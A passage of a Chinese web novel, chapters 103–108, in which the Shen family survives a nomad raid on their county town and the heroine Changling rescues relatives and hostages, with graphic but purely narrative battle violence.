“你们这些畜生,尝尝这个!”沈丰年怒吼着冲向敌阵。 夜香车散发的恶臭令人作呕。玄戎人的马受惊后退,阵型顿时大乱。沈玉松三兄弟趁机突围,与沈丰年会合。 “快撤!”沈丰年推倒夜香桶,臭气熏天。玄戎人捂着鼻子后退,马匹也变得躁动不安。 他们合力推动着燃烧的骡车,冲向敌阵。玄戎人还未反应过来,**声已经响起。 第一百零三章 受伤 “轰!”震耳欲聻的爆炸声中,四人被气浪掀翻在地。火光冲天,碎片四处飞溅。浓烟中传来马匹的嘶鸣和人们的惨叫。 沈丰年觉得整个世界都在旋转,耳朵里嗡嗡作响。他想爬起来,却发现浑身都使不上力气。模糊的视线中,似乎看到了更多的火把在靠近。 “完了...”他心想,“难道真的要死在这里了吗...” 就在这时,一个熟悉的声音传来,“丰年!玉松!” 沈丰德带着援军赶到了。他们迅速清理了剩余的敌人,将四人救了出来。 沈丰德赶到时,看到的是躺在地上的四个人。他颤抖着探查呼吸,发现都还活着,终于松了一口气。 沈丰年迷迷糊糊睁开眼,看到大哥担忧的脸。他感觉浑身像是被马车碾过一般,每一块骨头都在叫嚣着疼痛。空气中弥漫着一股刺鼻的硫磺味,混杂着血腥气息,让人作呕。 他试图张口说话,喉咙却像是被火烧过一样干涩,声音微弱得连自己都听不清,“大...大哥?你怎么会在这里?” 沈丰德俯下身,凑近弟弟的嘴边才听清这句话。他的脸上布满灰尘和血迹,眼中闪烁着焦急的光芒,“快起来!我们必须马上离开这里!” 可沈丰年浑身瘫软,连抬手的力气都没有。他努力回想着昏迷前发生的事,记忆却如同破碎的镜子,只剩下零星的片段。 不远处,沈玉松、沈玉岭和沈玉田也陆续转醒。三人茫然地望着周围的废墟,脸上写满了惊恐和困惑。沈玉松试图站起来,却一个踉跄差点摔倒。 “我的头...怎么这么晕?”沈玉岭扶着墙壁,脸色苍白如纸。 沈玉田捂着胸口,咳嗽了几声,“刚才那是什么东西炸了?” 沈丰德环顾四周,断壁残垣中散落着各种碎片。他正想找辆推车把人运走,远处却传来一阵杂乱的脚步声,伴随着马蹄声和金属碰撞的声响。 “巴图尔,爆炸声就是从这边传来的!”一个蛮子用玄戎语喊道,他骑在马上,手持长矛,目光警惕地打量着沈丰德几人,“这些人很可疑,说不定就是他们干的!” 十几个蛮子骑兵围了上来,刀剑出鞘的声音在寂静的街巷中格外刺耳。巴图尔皱着眉头,刚要说话,一股恶臭扑面而来。他下意识张口,顿时感觉自己像是吞了一口粪便。 “呕!”巴图尔剧烈地咳嗽起来,“这是什么鬼东西?” 他捂着口鼻,挥手示意手下拿下这群人。蛮子们纷纷抽出兵器,眼中闪烁着凶光。 沈丰德随手抄起地上的一把断刀,摆出防御姿态。他的手微微发抖,不是因为恐惧,而是因为体力消耗过度。 就在这千钧一发之际,另一队人马从巷子里冲了出来。 “动静就在这里,快!” 一群浴血的守备军冲了过来,他们的盔甲上布满划痕和血迹,显然经历了激烈的战斗。看清沈丰德等人的打扮后,二话不说就与蛮子厮杀在一起。 刀光剑影中,沈丰年的意识渐渐清晰,身上也涌现出了一些力气。他刚想站起来,肩膀上突如其来的剧痛让他倒吸一口凉气。 “嘶!疼死我了!”他低头一看,才发现自己肩上不知何时挨了一刀,鲜血已经浸透了衣衫。不仅如此,身上还有许多大大小小的伤口,有些已经结痂,有些还在渗血。 从小被媳妇和丫头保护得好好的,他还是头一次受这么重的伤。想到这里,他心中涌起一股委屈。 “等我媳妇丫头知道了,看她们怎么收拾这帮人!”沈丰年咬牙切齿地说,语气中带着几分孩子气的威胁。 沈玉松刚恢复听觉,就听见这话,忍不住嘀咕,“人家只怕是嫌下手太轻了...” 一个守备军边打边喊,“快走!府衙已经失守,能跑就跑,别停下!蛮子已经控制了城门,再不走就来不及了!” 沈丰年和沈丰德对视一眼,心都沉了下去。县城已经沦陷了,家里人不知道怎么样了?他们住的地方离府衙不远,会不会已经... “那你们呢?”沈丰年看着那些浴血奋战的守备军,声音有些发涩。这些人明明可以逃走,却选择留下来。 “我们只有战死,绝不后退!”那守备军说完,便又杀入敌阵。他的身影很快淹没在刀光剑影中。 “怎么办?他们都站不起来!”沈玉松急得直跺脚,看着瘫软在地的沈玉岭和沈玉田。 沈丰德当机立断,“背人!快走!” 他和沈丰年一人背起一个,朝着战圈外面狂奔。沈玉松虽然腿软,但也咬牙跟上。 巴图尔骑在马上,眯着眼睛看着他们逃窜的背影。他缓缓抽出弓箭,瞄准了沈丰年的后心。弓弦绷紧,箭在弦上。 “嗖!” 三支羽箭破空而来,发出尖锐的啸声。 “小心!”守备军的提醒声还未落,利箭已至眼前。 一道身影闪电般掠过,长剑挥舞,三支箭应声而断。碎裂的箭杆落在地上,发出清脆的声响。 沈丰年回头一看,后背已经被冷汗浸透。若不是这及时出现的高手,他恐怕已经命丧当场。 暗二打量着眼前这个灰头土脸的人,目光中闪过一丝惊讶,“沈姑娘的父亲?” 沈丰年仔细看了看这个身手不凡的年轻人,猛然一拍大腿,“那可是楚公子的侍卫!你认识我丫头长菱!” 暗二脸上露出一丝笑意,“正是在下。现在不是叙旧的时候,快走!” 他话音未落,身后又是一阵箭雨袭来。箭矢密集得如同暴雨,遮天蔽日。 暗二挥剑格挡,剑光如同银河倒挂,将箭矢一一击落。守备军也拼死相护,用自己的身体为他们争取逃命的时间。 “快走!去东南方向,那边有个大石头的小院子还算稳妥。援兵一个时辰内就能赶到!”暗二一边格挡箭矢,一边大声喊道。 沈丰德拉着沈丰年,朝东南方向狂奔。他们穿过狭窄的巷子,躲避着四处游荡的蛮子。 巴图尔正要派人追击,一个手下慌慌张张地跑来,“大人!小可汗中箭了,眼球保不住了!铁木真让您搜罗全城的大夫救人!” 巴图尔脸色阴沉,一巴掌抽在手下脸上,“废物!连自己人都保护不好!” 他烦躁地调转马头,“抓活的!把城里的大夫都给我找来!一个都不许放过!” 沈丰德一行人在街巷中穿行,随处可见蛮子肆虐的景象。烧毁的房屋还在冒着黑烟,空气中弥漫着焦糊味。 老人、孩子倒在血泊中,女子的哭喊声此起彼伏。有人在哭泣,有人在求饶,更多的人已经永远沉默。 他们看到李县令被衙役搀扶着,正在激烈争执。李县令的官服已经破烂不堪,脸上还带着血迹。 第一百零四章 找家人 “放开我!作为父母官,我岂能弃城而逃?”李县令挣扎着要往回走,“百姓还在城里,我怎能独自逃命?” 突然,一声凄厉的女声从旁边的民房传来,打断了李县令的话。 “我相公守卫一生,我宁死也不受你们这些畜生玷污!” 李德含脸色剧变,一脚踹开房门。屋内的景象让所有人都倒吸一口凉气。 另一边。 沈长菱骑在墨玉背上,远处县城升起的滚滚浓烟在天际蔓延,如同一条巨大的黑龙盘踞在天空之上。心中那股不祥的预感愈发强烈,几乎要将她淹没。 “快些!”她低声催促着胯下的马儿,声音里带着难以掩饰的焦虑。 墨玉仿佛能感受到主人的心情,四蹄在积雪上踏出一串急促的节奏,朝着县城的方向狂奔。马蹄扬起的雪花在空中飞舞,又无声地落回地面。 远处传来此起彼伏的喊杀声,沈长菱的心一点点沉了下去。她下意识地攥紧了缰绳。 寒风中夹杂着浓重的血腥气,越来越近的喊杀声让她的心跳愈发剧烈。当看到城门大开,守军的尸体横七竖八地倒在地上时,她的瞳孔猛地收缩。鲜血在皑皑白雪上蔓延,形成一片刺目的红色。 “该死!”她咬紧牙关,迅速翻身下马。 骑马太过显眼,很容易引来敌人的注意。她轻轻拍了拍墨玉的脖子,示意它自行躲避。这匹陪伴她多年的马儿似乎听懂了主人的意思,转身消失在了茫茫雪地中。 沈长菱深吸一口气,纵身一跃,轻巧地落在了房顶上。她的灵识如同一张无形的大网,迅速向四周扩散开来。每一寸感知都被她调动到极致,生怕错过任何细微的动静。 县城里到处都是玄戎人的身影,他们正在挨家挨户地搜寻着什么。有的房屋已经被付之一炬,火光冲天,浓烟滚滚。街道上横七竖八地躺着百姓的尸体,鲜血染红了青石板路。 她的心揪成一团,眼前的惨状让她几乎喘不过气来。但现在不是悲伤的时候,她必须尽快找到家人。 突然,一声熟悉的呼喊传入耳中。 “有没有人啊!救命!!!” 是大伯的声音! 沈长菱心头一震,立刻朝着声音传来的方向奔去。她的脚步轻盈,在房顶上如履平地。 很快,她就看到了在小巷子里被围困的众人。 父亲和大伯都在!还有县太爷和几个衙役!他们被十几个玄戎士兵围在中间,处境岌岌可危。 看到一个玄戎人举刀要砍向大伯,沈长菱毫不犹豫地抬起手中的弩箭。她的动作干净利落,没有丝毫犹豫。 “嗖!” 箭矢破空而去,正中那玄戎人的咽喉。对方甚至来不及发出一声惨叫,就直挺挺地倒了下去。 “爹!大伯!”她一边大喊,一边继续放箭。 每一箭都准确地找到了目标。玄戎人的包围圈很快出现了缺口。 沈丰年看到女儿的身影,激动得手舞足蹈,“丫头!爹在这!这群混账东西,差点要了你爹的命!你看我这肩膀,疼死我了!” 沈长菱目光落在父亲血迹斑斑的肩膀上,那里的布料已经被鲜血浸透。她的眸色瞬间冷了下来,“谁干的?” “太乱了,没看清......”沈丰年话音未落,沈丰德已经撕开衣襟,“先包扎伤口要紧!伤口再这么流血下去可不行。” 沈长菱把腰间的刀抽出来,将父亲和大伯推到身后,“这里交给我。”她的声音很轻,却透着不容置疑的坚定。 刀光如电,在月色下划出一道银亮的弧线。沈长菱的身影在敌人之间穿梭,动作快得几乎看不清。一个蛮子还未反应过来,头颅已经应声而落,鲜血喷涌而出。 “小姑奶奶,你可算是回来了!”沈玉松捂着胸口的伤处,脸色苍白,“这些蛮子不知道从哪冒出来的,一个个凶得很。” 沈长菱扶住满身是伤的沈玉松,眉头微皱,“玉松叔,您也去休息。这里有我。” 沈玉松看着这个从小看到大的丫头,此刻却成了他们的主心骨。他苦笑着摇摇头,“好,那我守着你爹他们。”说着,又压低声音,“你小心点,这些蛮子不简单。” 几个衙役缩在角落,目瞪口呆地看着眼前的一幕。一个年轻姑娘,竟然以一敌十,刀法凌厉得令人心惊。他们见过不少高手,却从未见过如此凶悍的身手。 “小心背后!”突然有人大喊。 沈长菱头也不回,反手一刀精准地刺入偷袭者的心脏。温热的鲜血喷涌而出,染红了她的衣袖。她的动作行云流水,仿佛早已预料到对方的偷袭。 “杀人要快、准、狠。”她一边说,一边飞身踢飞了一个蛮子的武器,“找准要害,一击必中。拖得越久,死的可能就是自己。” 话音未落,她已经扣住两个蛮子的脑袋,猛地相撞。骨裂声令人胆寒,两个蛮子瞬间毙命。 衙役们倒吸一口冷气,就连见惯了血腥的户曹也不禁变了脸色。这哪是什么大家闺秀,分明就是个杀神! 沈长菱随手擦去脸上的血迹,回头瞅了瞅几个衙役,“诸位身手不错,只是动作太花哨。实战中,一招制敌才是上策。” “多谢指教。”衙役们连忙抱拳,心中却暗暗吃惊。这位姑娘年纪轻轻,竟有如此见识。 “我得感谢你们救了我爹。”沈长菱笑了笑,目光扫视四周。街道上到处都是打斗的痕迹,断壁残垣间还有未熄的火光。“这里不安全,得找个地方修整。” 沈丰年说道,“你那个朋友说,东南方向有个大石头院子,我们可以暂时躲在那里......” “朋友?”沈长菱一愣,手中的刀微微一顿。 “就是楚公子的侍卫,排行第二的那个。他说那院子隐蔽,适合藏身。” 暗二还在城里?沈长菱心中诧异。现在不是追问的时候,当务之急是找个安全的地方。 她扶起昏迷的沈玉岭和沈玉田,“我知道地方,跟我来。” 一行人很快找到了那座院子。沈长菱单手扯断门锁,带着众人进入。院子里杂草丛生,显然已经很久没人住了。但胜在隐蔽,暂时安置伤员足够了。 偏房里,沈玉松终于支撑不住昏了过去。沈玉岭和沈玉田的情况也不容乐观,伤口处的血还在往外渗。 “我去找大夫。”沈长菱站起身,“你们待在这里,不要出去。” 她的灵识在城中搜索,却发现所有大夫都被集中在了城隍庙。庙中大堂内,慕容烈躺在草席上,生死未卜。箭头深深插入他的头颅,周围跪着一排被抓来的大夫。 “你们中原大夫不是号称医术高明吗?”巴图尔冷笑,踢翻了一个药箱,“现在怎么都成了废物?” 第一百零五章 死了 “箭入颅内,就算拔出来人也活不成!”一位白发苍苍的老大夫怒目而视,“你要我们起死回生不成?” 铁木真一把揪住老大夫的衣领,“你是在找死?”老大夫的眼中没有丝毫畏惧,反而带着几分轻蔑。 “呸!救不了就是救不了!我行医五十年,从未见过这样的伤势还能活命的!” “咔嚓”一声,老大夫的脖子被扭断。其他大夫吓得瑟瑟发抖,却没有一个人开口说能救活慕容烈。 沈长菱躲在暗处,眼神渐渐冷了下来。这些蛮子的残暴她早有耳闻,但亲眼所见还是让她心中发寒。看来,得想个办法把这些大夫救出来才行。 她悄悄退出城隍庙,脑中已经开始盘算对策。就在这时,一个熟悉的身影闪过街角。 “暗二?”她低声唤道。 黑暗中,一个身影无声无息地出现在她面前,“小姐。” “你怎么还在城里?”沈长菱压低声音问道,“楚公子呢?” 暗二的声音依旧平静,“主人让我留下来保护您。他说城里可能会有变故。” 沈长菱心中一动。楚云衡早就料到会有今天?她正要追问,暗二已经说道,“城中局势不妙。蛮子们已经控制了城门,现在正在挨家挨户搜捕。” “所有大夫都被抓去城隍庙了。”沈长菱皱眉,“我父亲他们都受了伤,必须尽快找到大夫。” 暗二沉默片刻,“去城隍庙看看。” “带我去。” 两人在黑暗中穿行,很快来到城隍庙。 沈长菱蹲在房顶上,目光紧盯着城隍庙内的情形。她没想到竟在被押解的人群中看到了两张熟悉的面孔。那一瞬间,她的心跳漏了半拍。 沈明昊和沈明文。 这下可真是坏事了。 她懊恼地拍了拍额头,一整晚都在想着爹和大伯的安危,竟然把这两个堂兄给忘了个干净。 庙内的气氛越发紧张。烛火摇曳,在神像上投下诡异的阴影。五位大夫面色铁青地站在那里,目光扫过被绑在面前的家人、学徒和药童,没有一个人开口说话。空气仿佛凝固了一般,只能听见微弱的啜泣声。 沈明文跪在地上,双手被粗绳勒得发紫。他偷偷看向沈明昊,眼中满是惶恐与无助。沈明昊察觉到弟弟的目光,微不可察地摇了摇头,示意他暂且按兵不动。 两人本想寻找沈丰德和沈丰年求助,却在府衙内找了个遍都未见到人影。后来趁着蛮子抢掠粮草药材的混乱逃了出去,躲进一家医馆,结果还是被抓到了这里。 “呵。”巴图尔冷笑一声,他大步走向人群,他随手抓起一个正在啼哭的幼童,那孩子不过四五岁的样子,小脸被泪水打湿。刀光闪过,鲜血飞溅,染红了供桌前的地砖。 “不!我的孩子!”孩子的父母发出凄厉的哀嚎,声音撕心裂肺。 整个大殿陷入死一般的寂静,连啜泣声都消失了。所有人都屏住呼吸,生怕成为下一个目标。 巴图尔提着那颗小小的头颅,伸出舌头舔了舔嘴角的血迹,露出病态的笑容,“小孩子的血,就是甜美。”他的目光在其他孩子脸上扫过,每一个对视都让那些稚嫩的面庞瑟瑟发抖。 “畜生!”失去孩子的父母疯狂挣扎,却被蛮子死死按在地上。他们的指甲在地上抓出道道血痕,却无法挣脱束缚。 一位白发苍苍的老大夫突然站了起来,他的双眼布满血丝,仰望着神像悲愤大喊,“神啊!你睁眼看看这人间吧!” 话音未落,他猛地撞向供桌,倒在血泊中。鲜血从他的口中涌出,染红了胡须。 “陈大夫!”其他大夫连忙上前救治,却感受到脉搏越来越微弱。有人低声啜泣,有人握紧拳头,却无人敢言。 巴图尔不以为意,又抓起另一个孩子。那孩子吓得瑟瑟发抖,眼泪无声地滑落。 就在这时,供桌上的慕容烈突然剧烈抽搐起来。他的身体不受控制地颤抖,脸色由红转紫。 “小可汗!”铁木真慌忙上前,手足无措地想要帮忙,却不知从何下手。 沈长菱看到慕容烈脸色涨红,像是被什么东西掐住了喉咙。那支箭突然又深入了几分,鲜血从眼眶中迸射而出,在空中划出一道弧线。 她轻轻勾起嘴角,眼中闪过一丝冰冷的笑意。 慕容烈的身体弓起,重重摔回供桌,再无声息。他的眼睛瞪得老大,似乎看到了什么极为恐怖的东西。 “死了?!”巴图尔探了探鼻息,脸色大变。他的手微微发抖,眼中闪过一丝慌乱。 他立刻转向铁木真,声音中带着几分歇斯底里,“都是你推小可汗出来争光,现在人死了,你担得起这个责任吗?来人,把他给我拿下!” 铁木真怒吼,“分明是你拖延治疗,故意害死小可汗!”他的脸涨得通红,青筋暴起。 两人对峙之际,庙内的气氛越发紧张。沈明昊和沈明文对视一眼,悄悄挪动身体,试图靠近出口。 眼看着巴图尔要对庙内的人动手,沈长菱搭箭在弦。 “嗖!” 一支箭矢破空而至,正中巴图尔手臂。鲜血顺着他的手臂流下,在地上汇成一小滩。 “有埋伏!”巴图尔拉过身边的人挡在身前,“给我杀了她!”他的声音因疼痛而扭曲。 “真是愚蠢。”她轻声低语。 大堂内,巴图尔的目光死死锁定着房顶的洞口,肌肉紧绷。他下意识地摸了摸手臂上的箭伤,那里还在隐隐作痛。这个不知从何处冒出来的敌人,让他感到深深的不安。 “大人,上面没有发现任何踪迹!”一个手下气喘吁吁地跑来报告。 巴图尔眉头紧皱,“继续搜!” 沈长菱借着阴影的掩护,轻巧地从房顶跃下。她的动作轻盈得像一片雪花,无声无息地落在大堂内的横梁上。借着微弱的光线,她看到被绑在柱子上的人质们。沈明昊和沈明文就在其中,他们的脸上带着疲惫和担忧。 松大夫被绑在最靠近门口的位置,他的医药箱散落一地,里面的草药和瓶瓶罐罐撒了一地。几个蛮子正粗鲁地翻找着,企图找出值钱的东西。 沈长菱的目光在地上扫过,看到了一把掉落的短刀。她嘴角微微上扬,脚尖轻轻一挑,短刀便无声地滑向了沈明昊的脚边。 沈明昊眼中闪过一丝惊讶,但很快就恢复了平静。他假装调整姿势,实则用脚尖将短刀拨到身后。趁着守卫们都在关注房顶的空档,他悄悄弯下腰,用刀割断了手腕上的绳索。 “小心些。”他用气声对身旁的沈明文说道,同时将短刀递了过去。 沈明文接过短刀,动作虽然缓慢但很稳定。很快,他也挣脱了束缚。两人开始悄悄地帮助周围的人解开绳索。 第一百零六章 已经安全 沈长菱看着被捆绑的人质们一个接一个地获得自由,心中暗暗点头。她悄然解除隐身状态,混入人群中向沈明昊靠近。 “哥。”她轻轻拽了拽沈明昊的衣袖。 沈明昊转过头,看到是她时,眼中闪过惊喜,“长菱?你怎么会在这里?” “现在不是说这个的时候。”沈长菱压低声音,“我爹和大伯已经安全了,等下跟我走。” 沈明昊点头,随即转身捂住沈明文的嘴,示意他看向沈长菱。沈明文看到沈长菱时,眼中闪过惊讶和欣慰。 “爹和小叔已经安全了。”沈明昊简单解释道,“等下跟长菱走。” 沈明文眼中泛起感动的泪光,他用力点头。在这生死攸关之际,竟还有人记挂着他们,这份情谊让他心中温暖。 “该死!”巴图尔等得不耐烦了,怒骂一声,“上面到底有没有人?” “回大人,我们已经搜遍了每个角落,确实没有发现任何人!”手下战战兢兢地回答。 巴图尔摸了摸手臂上的箭伤,眼中闪过一丝忌惮。这个敌人的身手,远超他的想象。更让他不安的是,对方似乎能够凭空消失。 “收拾东西,准备撤退!”他沉声下令,“带上小可汗的尸体和货物,这些人质,一个都不能少!” 松大夫等人被推搡着走出庙门。外面的世界白茫茫一片,只有庙前的血迹格外刺眼。寒风呼啸,卷起地上的积雪,模糊了视线。 沈长菱跟在人群中,默默观察着周围的情况。蛮子们警惕性很高,手中的弓箭随时可以发射。但她注意到,他们的注意力主要集中在四周,很少有人注意头顶。 当队伍准备出发时,她突然暴起发难! 长刀出鞘,寒光闪烁。三两步冲到松大夫等人身前,刀光一闪,绳索应声而断。 “退后!”她将松大夫等人推向后方,同时挥刀斩向最近的敌人。 一个蛮子还未反应过来,头颅已经飞了出去。鲜血在空中划出一道弧线,染红了洁白的雪地。 “想活命的,拿起刀!”沈长菱将缴获的武器扔向身后的人质。 “杀!”人质们爆发出怒吼,多日积压的愤怒终于找到了发泄口。 箭矢如雨般袭来,沈长菱运起灵识形成屏障,同时挥刀迎敌。她的动作快若闪电,每一击都直指要害。 每当一个敌人倒下,她就将武器传递给身后的人。渐渐地,越来越多的人加入战斗。曾经的人质变成了战士,他们用缴获的武器反击着曾经的压迫者。 巴图尔眯起眼睛,搭弓射出五支箭。箭矢在空中划出诡异的弧线,直指沈长菱的要害。 就在这千钧一发之际,一声长啸划破天际。 楚云衡率领援军及时赶到,他的箭矢与巴图尔的在空中相撞,去势不减地射向巴图尔。 “玄鹰军,杀!” 随着援军的到来,战局瞬间逆转。蛮子们开始溃败,有的扔下武器逃跑,有的则负隅顽抗。 沈长菱长出一口气,感觉浑身的力气都被抽空了。她的手臂因为长时间的战斗而微微发抖,但眼神依然坚定。 “先生,跟我走!”她拉起松大夫,向小院的方向奔去。 沈长菱一路狂奔,裙摆被风掀起又落下,发丝凌乱地在空中飞舞。身后的沈明文和沈明昊气喘吁吁地追着她的背影,脚步声在空荡的街道上回响。 沿途遇到不少身着甲胄的士兵在救援百姓。有人在哭喊,有人在呼救,还有人抱着亲人的尸体痛哭。这些凄惨的画面不断闪过沈长菱的眼前,但她此刻无暇顾及,只想快些赶到小院。 街角处传来一阵喧哗,几个士兵正在搀扶一个受伤的老人。沈长菱下意识地放慢脚步,目光在老人身上停留了片刻,那张饱经沧桑的脸让她想起了族长。 “长菱!”沈明文的呼喊将她拉回现实。 她咬了咬唇,继续向前奔去。眼前的景象愈发模糊,不知是因为疾跑带起的风,还是因为那些难以抑制的泪水。 终于到了小院附近,只见士兵把守森严。一个身材魁梧的士兵伸手拦住她,“站住!这里不能进!” “我爹在里面!”沈长菱声音有些嘶哑,顾不得解释,直接从士兵身边钻了进去。 “喂!”士兵想要追上去,沈明文和沈明昊及时赶到。 “大人,我们是沈家人。”沈明昊拱手解释,“里面的伤者是我们的族人。” 屋内,沈丰年正急得团团转,看到沈长菱进来,眼睛一亮,“你回来了!”他的声音里带着明显的颤抖,额头上的汗水在昏暗的烛光下闪着微光。 沈长菱把松大夫往前一推,“快看看他们!”她的目光落在地上躺着的三个人身上,心脏猛地揪紧。 松大夫立即蹲下号脉,眉头越皱越紧。他的手指在病人手腕上轻轻按压,神情越发凝重,“伤势很重,内外伤都有。得找根老参含着,不然怕是等不及我施救......” 沈丰年一听就慌了,脸色瞬间变得惨白,“老参?我这就去买!”说着就要往外冲。 “别去了,”松大夫摇头叹气,“城里的都被抢光了。现在这个时候,别说老参,就是普通的药材也难求。” 屋内顿时陷入一片死寂。沈长菱的手指无意识地绞着衣角,她环顾四周,目光所及之处尽是愁云惨淡的面容。 暗二站在角落里,默默注视着这一切。他忽然开口,“我去找!” 话音未落,人已经消失在门外,只留下一阵微风拂过。 沈长菱看着暗二离去的背影,暗暗发誓一定要学会这种身法。这种能够来去自如的本领,在危急时刻实在太重要了。 这时,沈明昊和沈明文也被放了进来。看到沈丰德和沈丰年兄弟俩,大家都松了口气。屋内的气氛稍稍缓和了一些。 “多亏遇到长菱,”沈明文看着沈长菱,声音里带着感激,“不然我们怕是凶多吉少。” 李德含这时悠悠转醒,浑浊的眼神逐渐聚焦。看到陌生环境先是一愣,随即关心起城中局势,“外面...现在怎么样了?” “玄鹰军已到,正在解救百姓。”户曹回答,声音里带着一丝安慰。 李德含稍稍放心,但沈丰德等人却互相对视一眼,都看出了彼此眼中的忧虑。城被洗劫一空,街道上到处都是残垣断壁,重建之路漫漫。 “青山村如何了?”沈丰德终于问出了最关心的问题。他的声音很轻,却让屋内的气氛瞬间凝固。 沈长菱心里一痛,喉咙像是被什么堵住了。她深吸一口气,缓缓道出了族长等人遇害的消息。 屋内再次陷入死寂,连呼吸声都变得格外清晰。 沈丰年颤抖着声音问,“赵大娘和玉松媳妇呢?”他的眼睛里闪烁着希望的光芒,却又带着深深的恐惧。 “她们还在。”沈长菱轻声说。 第一百零七章 反击 沈丰年这才稍稍松了口气,但眼圈已经红了。他转过身去,用袖子擦了擦眼睛。 沈明文蹲在地上,指节捏得咯咯作响,“这群畜生!”他的声音里充满了愤怒和痛苦。 沈丰德很快镇定下来,他知道现在不是悲伤的时候,“松大夫,他们三个能移动吗?” “暂时不宜挪动。”松大夫摇头,“内伤太重,贸然移动可能会加重伤势。” “好,丰年你在这照看,我去找援兵,直奔青山村。”沈丰德的语气坚定。 暗二适时回来,递上老参,“不用找了,我去禀报世子就行。”他的动作干净利落,仿佛方才的奔波毫不费力。 沈丰德立刻应下,眼中闪过一丝希望的光芒。 沈长菱看着暗二磨蹭,忍不住催促,“还不快去!”她的声音里带着焦急。 暗二这才一溜烟跑了,身影很快消失在夜色中。 城中,楚云衡立于城墙之上,冷风吹动他的衣袍猎猎作响。远处此起彼伏的哭喊声传来,他眸光如刀,扫视着满城狼藉。 “大人!”左骑尉快步跑来,铠甲碰撞发出清脆的声响,“北城门已被攻破,敌军正在四处纵火!” 楚云衡眉头微皱,手指无意识地摩挲着腰间的剑柄。他能感受到体内伤势隐隐作痛,但此刻容不得他有丝毫迟疑。 “传令下去,左骑尉带一队人马分头灭火,其余人随我追击!”他沉声下令,声音里带着不容置疑的威严。 左骑尉抱拳领命,转身时铠甲上反射出火光的微芒。他迅速调遣四队人马,分散向城中各处奔去。 玄鹰军的将士们怒吼着冲出,刀剑出鞘的铮鸣声此起彼伏,“杀!为死去的兄弟报仇!” 楚云衡翻身上马,胯下战马似乎感受到主人的杀意,不安地刨动着前蹄。他取下背后的长弓,目光锁定前方那道狂傲的身影。 “主子,您的伤...”暗一欲言又止,眼中闪过担忧。 楚云衡摆手制止了他的话,“守好城门。”说罢,他一夹马腹,战马如离弦之箭般冲出。 五支箭矢破空而出,带着凌厉的杀意直取巴图尔要害。然而那人却像是背后长了眼睛,不闪不避,甚至还发出一声轻蔑的冷笑。 铁木真护在巴图尔身侧,刀光闪烁间将飞箭尽数斩落。他眼中闪过一丝不耐,显然对巴图尔这种近乎自负的举动十分不满,但作为护卫,他也只能咬牙继续尽职尽责。 “哈哈哈!”巴图尔放声大笑,声音中充满挑衅,“楚将军,你确定要追我们?城里的百姓可等着你去救命呢!” 话音未落,又是一阵惨叫声从城中传来。火光映红了半边天空,浓烟翻滚着遮蔽了月色。 楚云衡眸光一冷。他能感觉到体内的伤势在剧烈运动下愈发明显,但此刻也顾不得那么多。他挥手唤来暗卫,“杀了他!” 十余名暗卫手持利剑疾冲而上,刀光剑影中血花四溅。但敌军层层叠叠将巴图尔护在中央,一时间难以突破这道人墙。 楚云衡从怀中取出几包毒粉,动作娴熟地缚在箭上。他深吸一口气,强压下体内翻涌的气血,再度张弓搭箭。 铁木真见状大惊,忙捂住口鼻示意其他人后退。但其余箭矢来势汹汹,他不得不继续挥刀格挡,终究还是被一箭射中右肩。 “该死!”铁木真低咒一声,鲜血顺着铠甲缝隙流下。 眼看就要冲到南城门,巴图尔却猛然勒住马缰。他阴冷的目光扫过四周,嘴角勾起一抹诡异的笑容。 城门处已被玄鹰军占据,长枪如林,刀光闪烁。将士们个个杀气腾腾,恨不得将这些入侵者碎尸万段。 四面八方,无数异族人被围堵在中央,进退维谷。 巴图尔冷笑一声,示意手下推出马车上的人质。他的笑容越发狰狞,仿佛胜券在握。 数百名百姓被推搡着跪在地上,衣衫褴褛,面带惊恐。每个人身后都站着一名持刀蛮子,刀锋闪着寒光,随时可能取人性命。 “楚将军,”巴图尔扬声道,语气中带着几分戏谑,“你们中原人最重仁义。城外还有三千弓手,只要我一声令下,这些百姓和你的将士,都得给我陪葬!” 他策马上前几步,目光直视楚云衡,“你说,是抓我要紧,还是这些人命要紧?” 楚云衡眸光微凝,递了个眼色给右骑尉。 右骑尉会意,飞身上城墙查看。片刻后他面色凝重地回报,“大人,城外确有三千余人,弓箭上都缠着火油!” 人群中突然传来一声嘶吼,“我要死!”一名中年男子挣扎着想要站起,“我全家都被他们杀了,我要和他们同归于尽!” 巴图尔大怒,抬手就要砍下。寒光闪过,眼看那人就要血溅当场。 一支箭矢破空而至,将他手中长刀击飞。巴图尔手腕一麻,眼中闪过一丝诧异。 楚云衡沉声道,“开城门。” 玄鹰军将士们虽不甘心,却还是让开一条路。他们握紧手中兵器,目送敌人离去,眼中怒火几欲喷薄而出。 巴图尔大笑,“不愧是楚将军!果然识大体!” 异族人押着人质缓缓撤出城门,到了城外才将人推下马车。那些百姓跌跌撞撞地往城内跑去,生怕敌人反悔。 楚云衡站在城墙上,默默注视着这一切。他调动全身真气,搭上最后一支箭。 这一箭势大力沉,破空之声震耳欲聋。箭矢如闪电般直取铁木真后心,将其直接射落马下。 “铁木真!”巴图尔连忙将人拉起,“撤!” 楚云衡突然一口黑血涌出,脸色瞬间苍白如纸。他踉跄后退几步,靠在城墙上勉强站稳。 “大人!”暗卫们惊呼出声,连忙上前搀扶。 “无妨。”楚云衡擦去嘴角血迹,眸光依旧凌厉如刀。他死死盯着敌军撤退的方向。 暗二急匆匆赶来,“主子!” 楚云衡皱眉,“你怎么来了?” 暗二面露焦急之色,“主子,您的伤...” “我说了无妨。”楚云衡打断他的话,转身看向满目疮痍的城中,“先救火,安置百姓。” “主子,”暗二搓了搓手,眼中闪过一丝期待,“青山村那边,能不能让我带队?” 其他暗卫闻言,纷纷投来诧异的目光。暗三更是直接笑出声,“你什么时候这么积极了?” “就是,”暗五也打趣道,“平时让你出任务,你不是嫌累就是嫌远。” 暗二涨红了脸,支支吾吾地说不出话来。 楚云衡转过身,锐利的目光在暗二脸上扫过,“说实话。” “这个......”暗二低着头,像个做错事的孩子,“我前些日子向沈姑娘借了十两银子,能不能请你帮我还一下?” “什么?”暗三惊得差点从城墙上跳起来,“主子给我们每人一千两盘缠,你竟然还缺钱?” 第一百零八章 被骗 “我遇到个老乞丐,”暗二解释道,声音越来越小,“他浑身是疮,腿还瘸了,我就带他去看病。大夫说要九百两......” “然后你就给了?”楚云衡揉了揉太阳穴,语气中带着无奈。 “对啊!”暗二一脸委屈,“谁知道他们是骗子!那老乞丐根本不是真瘸,钱全输在赌场了!我把他们的腿全给打折了,可钱还是要不回来......” “行了,”楚云衡打断了暗二的解释,转身下了城墙,城门口突然传来一阵骚动,人群中爆发出阵阵惊呼。 